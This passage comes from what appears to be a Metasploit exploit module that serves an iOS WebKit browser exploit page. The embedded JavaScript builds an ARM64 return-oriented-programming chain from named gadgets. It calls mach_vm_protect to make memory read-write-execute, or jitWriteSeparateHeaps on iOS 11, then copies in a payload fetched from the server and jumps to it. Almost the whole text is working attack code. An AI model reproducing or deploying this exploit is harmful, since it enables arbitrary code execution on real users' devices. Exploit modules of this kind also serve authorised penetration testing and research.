arr[pos++] = 0xdbad0019; // x20 (unused)
775
arr[pos++] = 0xdead001a; // x19 (unused)
776
arr[pos++] = 0xdead001b; // x19 (unused)
777
var tmppos = pos;
778
arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29
779
arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29
780
arr[pos++] = regloader.lo(); // x30 (first gadget)
781
arr[pos++] = regloader.hi(); // x30 (first gadget)
782
783
// after dispatch:
784
arr[pos++] = 0xdead0020; // unused
785
arr[pos++] = 0xdead0021; // unused
786
arr[pos++] = 0xdead0022; // unused
787
arr[pos++] = 0xdead0023; // unused
788
arr[pos++] = 0xdead0024; // x22 (unused)
789
arr[pos++] = 0xdead0025; // x22 (unused)
790
arr[pos++] = 0xdead0026; // x21 (unused)
791
arr[pos++] = 0xdead0027; // x21 (unused)
792
arr[pos++] = 0xdead0028; // x20 (unused)
793
arr[pos++] = 0xdead0029; // x20 (unused)
794
arr[pos++] = 0xdead002a; // x19 (unused)
795
arr[pos++] = 0xdead002b; // x19 (unused)
796
tmppos = pos;
797
arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29
798
arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29
799
arr[pos++] = jump_to.lo(); // x30 (gadget)
800
arr[pos++] = jump_to.hi(); // x30 (gadget)
801
}
802
803
var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {
804
//alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);
805
//x4 = x4 || Int64.One
806
// in stackloader:
807
arr[pos++] = 0xdead0010; // unused
808
arr[pos++] = 0xdead0011; // unused
809
arr[pos++] = 0xdead0012; // unused
810
arr[pos++] = 0xdead0013; // unused
811
arr[pos++] = 0xdead1101; // x28 (unused)
812
arr[pos++] = 0xdead1102; // x28 (unused)
813
arr[pos++] = 0xdead0014; // x27 == x6 (unused)
814
arr[pos++] = 0xdead0015; // x27 == x6 (unused)
815
arr[pos++] = 0xdead0016; // x26 (unused)
816
arr[pos++] = 0xdead0017; // x26 (unused)
817
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
818
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
819
arr[pos++] = x0.lo(); // x24 == x0 (arg1)
820
arr[pos++] = x0.hi(); // x24 == x0 (arg1)
821
arr[pos++] = x2.lo(); // x23 == x2 (arg3)
822
arr[pos++] = x2.hi(); // x23 == x2 (arg3)
823
arr[pos++] = x3.lo(); // x22 == x3 (arg4)
824
arr[pos++] = x3.hi(); // x22 == x3 (arg4)
825
arr[pos++] = func.lo(); // x21 (target for dispatch)
826
arr[pos++] = func.hi(); // x21 (target for dispatch)
827
arr[pos++] = 0xdead0018; // x20 (unused)
828
arr[pos++] = 0xdead0019; // x20 (unused)
829
var tmppos = pos;
830
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
831
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
832
arr[pos++] = 0xdead001c; // x29 (unused)
833
arr[pos++] = 0xdead001d; // x29 (unused)
834
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
835
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
836
837
// in ldrx8
838
if (x4) {
839
arr[pos++] = stackloader.lo();
840
arr[pos++] = stackloader.hi();
841
} else {
842
arr[pos++] = dispatch.lo(); // x8 (target for regloader)
843
arr[pos++] = dispatch.hi(); // x8 (target for regloader)
844
}
845
arr[pos++] = 0xdead1401; // (unused)
846
arr[pos++] = 0xdead1402; // (unused)
847
arr[pos++] = 0xdead1301; // x20 (unused)
848
arr[pos++] = 0xdead1302; // x20 (unused)
849
arr[pos++] = x1.lo(); // x19 == x1 (arg2)
850
arr[pos++] = x1.hi(); // x19 == x1 (arg2)
851
arr[pos++] = 0xdead1201; // x29 (unused)
852
arr[pos++] = 0xdead1202; // x29 (unused)
853
arr[pos++] = regloader.lo(); // x30 (next gadget)
854
arr[pos++] = regloader.hi(); // x30 (next gadget)
855
856
// in regloader
857
// NOTE: REGLOADER DOES NOT ADJUST SP!
858
// sometimes i didn't get expected value in x4
859
// and i have no earthly idea why
860
// usleep likely did the trick, but I would still keep the code
861
// with movx4
862
//arr[pos++] = x4.lo() // x4 (should be -- but see lines above)
863
//arr[pos++] = x4.hi() // x4 (should be -- but see lines above)
864
865
if (x4) {
866
// in stackloader:
867
arr[pos++] = 0xdaad0010; // unused
868
arr[pos++] = 0xdaad0011; // unused
869
arr[pos++] = 0xdaad0012; // unused
870
arr[pos++] = 0xdaad0013; // unused
871
arr[pos++] = 0xdaad1101; // x28 (unused)
872
arr[pos++] = 0xdaad1102; // x28 (unused)
873
arr[pos++] = 0xdaad0014; // x27 == x6 (unused)
874
arr[pos++] = 0xdaad0015; // x27 == x6 (unused)
875
arr[pos++] = 0xdaad0016; // x26 (unused)
876
arr[pos++] = 0xdaad0017; // x26 (unused)
877
arr[pos++] = 0xdaad0018; // x25 (unused)
878
arr[pos++] = 0xdaad0019; // x25 (unused)
879
arr[pos++] = 0xdaad00f0; // x24 (unused)
880
arr[pos++] = 0xdaad00f1; // x24 (unused)
881
arr[pos++] = 0xdaad00f2; // x23 (unused)
882
arr[pos++] = 0xdaad00f3; // x23 (unused)
883
arr[pos++] = 0xdaad00f4; // x22 (unused)
884
arr[pos++] = 0xdaad00f5; // x22 (unused)
885
arr[pos++] = func.lo(); // x21 (target for dispatch)
886
arr[pos++] = func.hi(); // x21 (target for dispatch)
887
arr[pos++] = 0xdaad0018; // x20 (unused)
888
arr[pos++] = 0xdaad0019; // x20 (unused)
889
tmppos = pos;
890
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
891
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
892
arr[pos++] = 0xdaad001c; // x29 (unused)
893
arr[pos++] = 0xdaad001d; // x29 (unused)
894
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
895
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
896
897
// in ldrx8
898
arr[pos++] = dispatch.lo(); // x8 (target for movx4)
899
arr[pos++] = dispatch.hi(); // x8 (target for movx4)
900
arr[pos++] = 0xdaad1401; // (unused)
901
arr[pos++] = 0xdaad1402; // (unused)
902
arr[pos++] = x4.lo(); // x20 == x4 (arg5)
903
arr[pos++] = x4.hi(); // x20 == x4 (arg5)
904
arr[pos++] = 0xdaad1301; // x19 (unused)
905
arr[pos++] = 0xdaad1302; // x19 (unused)
906
arr[pos++] = 0xdaad1201; // x29 (unused)
907
arr[pos++] = 0xdaad1202; // x29 (unused)
908
arr[pos++] = movx4.lo(); // x30 (next gadget)
909
arr[pos++] = movx4.hi(); // x30 (next gadget)
910
}
911
912
// after dispatch:
913
914
// keep only one: these or 0xdeaded01
915
arr[pos++] = 0xdead0022; // unused
916
arr[pos++] = 0xdead0023; // unused
917
918
arr[pos++] = 0xdead0022; // unused
919
arr[pos++] = 0xdead0023; // unused
920
arr[pos++] = 0xdead0024; // x22 (unused)
921
arr[pos++] = 0xdead0025; // x22 (unused)
922
arr[pos++] = 0xdead0026; // x21 (unused)
923
arr[pos++] = 0xdead0027; // x21 (unused)
924
arr[pos++] = 0xdead0028; // x20 (unused)
925
arr[pos++] = 0xdead0029; // x20 (unused)
926
arr[pos++] = 0xdead002a; // x19 (unused)
927
arr[pos++] = 0xdead002b; // x19 (unused)
928
arr[pos++] = 0xdead002c; // x29 (unused)
929
arr[pos++] = 0xdead002d; // x29 (unused)
930
arr[pos++] = jump_to.lo(); // x30 (gadget)
931
arr[pos++] = jump_to.hi(); // x30 (gadget)
932
}
933
934
var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {
935
x0 = x0 || Int64.Zero
936
x1 = x1 || Int64.Zero
937
x2 = x2 || Int64.Zero
938
x3 = x3 || Int64.Zero
939
jump_to = jump_to || stackloader
940
941
return (ldrx8 ? add_call_via_x8 : add_call_llvm)(
942
func, x0, x1, x2, x3, x4, jump_to
943
)
944
}
945
946
#{ios_11 ? '
947
if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {
948
add_call(jitWriteSeparateHeaps
949
, Sub(codeAddr, memPoolStart) // off
950
, paddr // src
951
, shsz // size
952
);
953
} else {
954
fail("jitWrite");
955
}
956
' : '
957
add_call(mach_vm_protect,
958
mach_task_self_, // task
959
codeAddr, // addr
960
shsz, // size
961
new Int64(0), // set maximum
962
new Int64(7) // prot (RWX)
963
);
964
965
add_call(memmove,
966
codeAddr, // dst
967
paddr, // src
968
shsz // size
969
);
970
'}
971
972
add_call(codeAddr,
973
dlopen,
974
dlsym,
975
jitWriteSeparateHeaps,
976
memPoolStart,
977
memPoolEnd,
978
);
979
980
for(var i = 0; i < 0x20; ++i)
981
{
982
arr[pos++] = 0xde00c0de + (i<<16);
983
}
984
985
var sp = Add(stack, (arrsz - off) * 4);
986
memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x29
987
memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp)
988
989
// trigger
990
//print("u rdy?")
991
wrapper.addEventListener("click", function(){});
992
993
}
994
995
#{get_mem_rw}
996
997
function go() {
998
try {
999
var req = new XMLHttpRequest;
1000
req.open("GET", "exploit");
1001
req.responseType = "arraybuffer";
1002
req.addEventListener("load", function() {
1003
try {
1004
if (req.responseType != "arraybuffer") throw "y u no blob";
1005
payload.set(new Uint8Array(req.response), 0x0);
1006
pwn();
1007
} catch (e) {
1008
fail("Error: " + e + (e != null ? " " + e.stack : ""))
1009
}
1010
});
1011
req.addEventListener("error", function(ev) {
1012
fail(ev)
1013
});
1014
req.send()
1015
} catch (e) {
1016
fail("Error: " + e + (e != null ? " " + e.stack : ""))
1017
}
1018
};
1019
1020
go();
1021
1022
</script>
1023
</body>
1024
</html>
1025
^
1026
unless datastore['DEBUG_EXPLOIT']
1027
html.gsub!(/\/\/.*$/, '') # strip comments
1028
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
1029
end
1030
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
1031
end
1032
1033
end
1034
1035